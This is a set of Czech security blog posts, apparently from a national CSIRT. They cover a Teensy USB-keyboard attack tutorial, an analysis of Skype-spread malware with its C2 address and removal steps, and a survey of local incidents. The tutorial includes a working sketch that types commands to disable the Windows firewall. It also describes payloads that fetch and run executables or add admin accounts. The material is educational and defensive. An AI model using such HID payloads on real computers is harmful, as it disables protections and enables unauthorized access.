Arduino software však sám o sobě nepodporuje Teensy, je proto potřeba podporu pro Teensy doinstalovat. Stáhneme tedy instalátor rozšíření teensyduino pro náš OS a spustíme jej. Během instalace teensyduino budeme vyzváni k zadání cesty k rozbalenému software pro Arduino. V aplikaci ADE by se měla nyní objevit podpora pro Teensy. Po spuštění programu ještě vybereme naši desku, v mém případě Teensy ++ 2.0 a jako USB Type nastavíme kombinaci Keyboard+Mouse+Joystick.
Nastavení programu Arduino Development Environment
Nyní již zbývá jen připojit naše zařízení. Pokud si chceme ověřit, že vše správně funguje, můžeme nahrát náš první program. Než se pustíme do vlastních programů, můžeme využít předpřipravené ukázky. Pod File –> Examples –> Teensy najdeme množství připravených prográmků, kterým se zde říká Sketch. Na první vyzkoušení doporučuji položku Tutorial1 –> Blink. Po nahrání zdrojového kódu klepneme na upload, náš sketch se automaticky zkompiluje a nahraje do zařízení. Po úspěšném nahrání by na zařízení měla začít blikat dioda. Pokud se tak nestalo, zkuste zmáčknout tlačítko, které je na desce.
Pro psaní vlastních programů použijeme jazyk Arduino Programmable Language, lze však použít i klasický programovací jazyk C. Každý sketch musí vždy obsahovat funkce setup a loop, jinak jej kompilátor nepřijme.
Základ každého programu pro Teensy
Začněme klasikou, následující program, díky skutečnosti, že se Teensy chová po připojení k počítači jako klávesnice, vypíše „Hello World“.
void setup()
{
Keyboard.print("Hello World");
}
void loop()
{
}
Pro informaci, pokud bychom příkaz umístili do smyčky loop, bude se Hello World vypisovat stále dokola. Nyní se pojďme podívat, jaké další zajímavé věci můžeme vyzkoušet.
Pokud se podíváme na tuto adresu, můžeme si najít informace o možnostech zadání všech obvyklých znaků. Zajímavé jsou také Modifier Keys, což jsou funkční klávesy, kde například MODIFIERKEY_GUI je vlastně klávesa WIN. Pojďme se nyní podívat, jakým způsobem může této skutečnosti využít útočník. Následující sketch provede tyto kroky – na začátku vyčká 5000ms, to aby došlo ke korektnímu připojení zařízení k operačnímu systému. Dále spustí klávesovou zkratku WIN R, což ve windows vyvolá okno pro spuštění programu. Do něj pak zapíše příkaz cmd pro spuštění příkazové řádky. Ve finále pak příkazem netsh firewall set opmode disable vypne firewall ve windows.
void setup()
{
delay(5000);
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI);
Keyboard.set_key1(KEY_R);
Keyboard.send_now();
delay(500);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
Keyboard.print("cmd");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
delay(2000);
Keyboard.print("netsh firewall set opmode disable");
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}
void loop()
{
}
Takto po připojení k počítači s OS windows dojde k vypnutí firewallu, na což windows zareagují informací o možném ohrožení počítače
Jak je vidět, Teensy se skutečně chová z pohledu PC jako klávesnice. Díky možnostem, které nabízí unixové shelly nebo třeba powershell ve windows, otevírá toto zařízení zajímavé možnosti při penetračním testování. Představte si, že toto zařízení zamaskujete jako počítačovou myš, USB disk či nějaký USB gadget a necháte jej ležet na vhodném místě, třeba na recepci a nahrajete do něj vlastní kód, který pomocí powershellu například přidá nový účet a spustí remote desktop. I přes fakt, že si většina těchto prográmků otevře nejdříve okno pro zadávání příkazů, jsou prý útoky pomocí tohoto zařízení úspěšné. Pokud si však jako oběť vybere útočník počítač běžného firemního uživatele, asi to není zas až tak divné. Ze své osobní zkušenosti ze společnosti, kde se používala Active Directory a kde se při každém přihlášení počítače spouštěli různé skripty, mohu říci, že jedno okno s MSDOS navíc bych při přihlášení nejspíš také nezaregistroval.
Osobně jsem se o tomto zajímavém zařízení dozvěděl při prezentaci o programu kautilya napsaném v jazyce Ruby, který umí generovat různé ukázkové sketche pro Windows, Linux i OS X zaměřené právě na penetrační testování.
Starší verze programu Kautilya ještě bez podpory OS X je již součástí distribuce Backtrack
Jeden z těchto sketchů dokáže například stáhnout spustitelný kód uložený na serveru pastebin v textovém formátu, převést jej zpět na exe a spustit jej na pozadí na počítači oběti. Další zase dokáží přidat nového administrátora, povolit vzdálenou plochu, či na pozadí spustit instanci prohlížeče s konkrétní URL.
Pojďme si ještě krátce říci, jak se lze proti zneužití takovéhoto zařízení vůči námi spravovaným počítačům bránit. Ve světě operačních systémů společnosti Microsoft můžeme pomocí skupinové politiky zakázat běžným uživatelům instalaci nového hardware. V linuxu pak můžeme pomocí UDEV rules například povolit pouze známá zařízení.
Microsoft nabízí přes gpedit.msc několik způsobů pro blokování instalace nových zařízení
Pavel Bašta
Jak se chytá malware
Včera jsme od jednoho uživatele z ČR obdrželi odkaz (http://www.goo.gl/XXXXXXX=IMG0540240-JPG), který dostal jeho známý přes Skype. Byli jsme požádáni o informaci, co se mohlo na tomto počítači stát, jaké to mohlo mít dopady a jak se případného viru zbavit. Zkusili jsme tedy analyzovat zaslaný odkaz v předem připraveném virtuálním prostředí. Samotná návštěva odkazu (zamaskovaný odkaz ve skutečnosti míří na IP adresu 94.242.198.64) vede k tomu, že je uživateli nabídnut ke stažení soubor s názvem IMG0540240-JPG.src.
Nepozorný uživatel snadno přehlédne skutečnou koncovku souboru, kterou je .scr
Po spuštění programu se v domovském adresáři aktuálního uživatele vytvoří složka S-500-9430-5849-2045, která je nastavena jako skrytá a systémová, takže při běžném nastavení Windows ji uživatel nevidí. V této složce je pak umístěn soubor winmgr.exe. Zároveň je do registrů přidán klíč Microsoft Windows Manager, kvůli zajištění automatického spuštění malwaru po startu Windows.
Program se po spuštění pokouší o připojení na IP adresu 94.242.198.64 na port 5050. Při našem prvním testu se mu to také podařilo, stáhl si instrukce a začal se pokoušet o rozesílání e-mailové pošty. Předpokládáme, že pokud by na testovacím systému byl funkční Skype, malware by se pokoušel šířit i jeho prostřednictvím. Bohužel se však v tu chvíli testovací systém odporoučel a nemáme tak k dispozici zachycené pakety pro detailnější analýzu. Při pozdějších pokusech se již malwaru se serverem kontaktovat nepodařilo. Server je nyní odpojen. Otázkou je, zda je to pouze dočasné nebo již byl odpojen definitivně.
Paket zachycený programem wireshark
Který program se pokouší o připojení lze dobře sledovat také pomocí programu TCPView
Soubor winmgr.exe jsme otestovali pomocí on-line nástroje virustotal.com a v současné chvíli jej rozpozná pouze 12 ze 46 antivirových programů. Bohužel mezi těmi „slepými“ jsou v současné chvíli i antiviry, které jsou hojně používané v ČR. Naštěstí podle analyzátoru společnosti Google na tento odkaz klikají především uživatelé v okolních zemích. Nelze však vyloučit, že u nás koluje jiný odkaz směřující na stejný malware a že tento odkaz může mít v ČR daleko více kliknutí.
Antiviry jsou zatím slepé
Na tento odkaz již kliklo 137 069 uživatelů
Jako obranu doporučujeme v první řadě neklikat na příchozí odkazy upozorňující uživatele na údajné fotky, na kterých by měli být zobrazeni, i když záminky, které mají uživatele donutit ke kliknutí, se mohou měnit. Pokud však již uživatel na odkaz kliknul a soubor spustil, je potřeba zachovat klidnou hlavu a v první řadě ukončit přes správce úloh proces winmgr.exe. Dále je potřeba smazat samotný soubor winmgr.exe ve složce S-500-9430-5849-2045. Je však potřeba nejdříve zapnout zobrazování skrytých a systémových souborů. Pak ještě odebereme z registrů klíč Microsoft Windows Manager a po restartu by mělo být již vše v pořádku.
Tento malware se nezdá být příliš sofistikovaný. Jeho závislost na jednom serveru i jeho relativně snadné odstranění ze systému ukazují spíš na práci někoho, kdo si možná jen chtěl vyzkoušet své možnosti. Přesto náš další krok bude distribuce vzorku tohoto malware antivirovým výrobcům.
UPDATE: Po napsání tohoto blogpostu se server na IP adrese 94.242.198.64 opět rozběhl. Stávající malware si z něho poté stáhl bratříčka, soubor bget.exe. Ten se v systému zahnízdil jako soubor 0584105130.exe v adresáři LOCALS~1\Temp\ v domovském adresáři uživatele. Tento soubor se v registru nachází hned na několika místech. Je tedy potřeba prohledat registr na výskyt „0584105130“ a všechny klíče odstranit. Po tomto kroku doporučujeme provést preventivní kontrolu systému některým z bootovatelných antivirových CD.
Pavel Bašta
Nežijeme v bublině
V ČR nežijeme v bublině, které by se netýkaly problémy počítačové bezpečnosti. Proto bychom se po delší době chtěli opět podělit o některé zajímavé incidenty, se kterými jsme se v průběhu přibližně posledního roku setkali. U některých z nich je navíc zajímavé, že jste se o nich mohli dozvědět jako o něčem, co se někde odehrává, ale co si možná podvědomě představujeme jako něco, co se děje tam někde „venku“. Děje se to však i u nás, a proto je potřeba věnovat otázce počítačové bezpečnosti adekvátní prostor. Snad vás o tom přesvědčí i příklady některých incidentů, které jsme v CSIRT.CZ řešili, a které ukazují, že bezpečnost se týká nás všech, uživatelů i administrátorů. Z důvodů zachování anonymity zainteresovaných stran bohužel nemůžeme být příliš konkrétní, ale i přesto doufám, že pro vás budou následující řádky varováním.
V červnu minulého roku nás CERT-EU informoval o útoku, při kterém byla uživatelům v některých zemích odeslána e-mailová zpráva, která vypadala jako oficiální komunikace Evropské komise. V té chvíli jsme ještě netušili, že neznámý malware obsažený v přiloženém MS Word dokumentu a v rámci ČR odeslaný úředníkům jednoho českého ministerstva a jedné zdejší bance vstoupí do dějin jako špionážní malware Red October. O jeho existenci byla veřejnost informována v lednu tohoto roku, kdy se ukázalo, že po několik let sledoval vládní, diplomatické a výzkumné organizace ve východní Evropě. To, že se podařilo díky spolupráci CSIRT týmů v Evropě zabránit infikování desítek uživatelů v různých institucích půl roku před objevením tohoto malware, považujeme za slušný úspěch.
V posledním půl roce také pravidelně spolupracujeme s US-CERT a to v souvislosti s výskytem botnetu, který pro své fungování využívá webové servery. Šíří se především prostřednictvím zranitelných verzí známých redakčních systémů, jako je Joomla či WordPress. I když se může na první pohled zdát, že zranitelných webů je méně než zranitelných domácích počítačů, menší počet jednotlivých zapojených „botů“ útočníkům vynahradí rychlé linky, na kterých jsou obvykle servery připojené. Takto napadené servery se dle našich informací momentálně zneužívají především pro DDoS útoky na cíle v USA. V podstatě každý týden dostáváme informace o desítkách nových webových serverů v ČR, které jsou tímto způsobem zotročeny.
Za zmínku také stojí spolupráce CERT.BE, který získal logy přístupů na webovou stránku umístěnou na serveru v Belgii. Tato stránka šířila nebezpečný malware, který některé antivirové programy vůbec nedokázaly detekovat. Mezi počítači, které tento web navštívily, bylo také několik IP adres z České republiky. Podle informací, které jsme od námi kontaktovaných správců obdrželi, se skutečně tyto počítače při návštěvě tohoto webu nakazily a jejich uživatelé neměli vůbec tušení, že jejich počítač je infikován.
Začátkem března jsme se také podíleli na distribuci informací o novém rootkitu pro Linux, který se v systému usadí v podobě knihovny spojené s SSHD a u kterého zatím není jasné, jakým způsobem se do systému dostává. Mezi potenciálně infikovanými servery bylo i několik serverů z ČR.
Na závěr bych ještě zmínil, že jsme se již setkali také s případem vydírání, kdy bylo po jednom menším serveru požadováno „výpalné“ s tím, že dokud nezačne platit, bude na něj pravidelně podnikán DDoS útok.
Jak je vidět, kybernetická kriminalita a útoky se nevyhýbají ani České republice a je třeba na to pamatovat při naší každodenní práci, ať už z pohledu uživatele, nebo z pohledu správce IT.
Pavel Bašta





















